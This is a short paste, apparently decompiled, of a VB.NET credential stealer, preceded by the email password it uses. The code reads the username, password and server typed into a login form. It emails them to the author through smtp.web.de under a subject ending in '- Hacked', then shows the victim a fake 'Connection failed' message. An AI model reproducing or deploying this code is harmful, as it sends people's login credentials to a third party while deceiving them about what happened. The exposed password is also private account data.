Email: Pass:pimmelface
Dim message As New MailMessage With { _ .From = New MailAddress("") _ } message.To.Add("") message.Subject = ("'" & Me.tbUsername.Text & "' - Hacked") message.Body = String.Concat(New String() { "Username: ", Me.tbUsername.Text, ChrW(10) & "Password: ", Me.tbPassword.Text, ChrW(10) & "Server: ", Me.tbServer.Text, ChrW(10) }) New SmtpClient("smtp.web.de", &H24B) With { _ .Credentials = New NetworkCredential("", "pimmelface") _ }.Send(message) MessageBox.Show("Connection failed... please try again later!")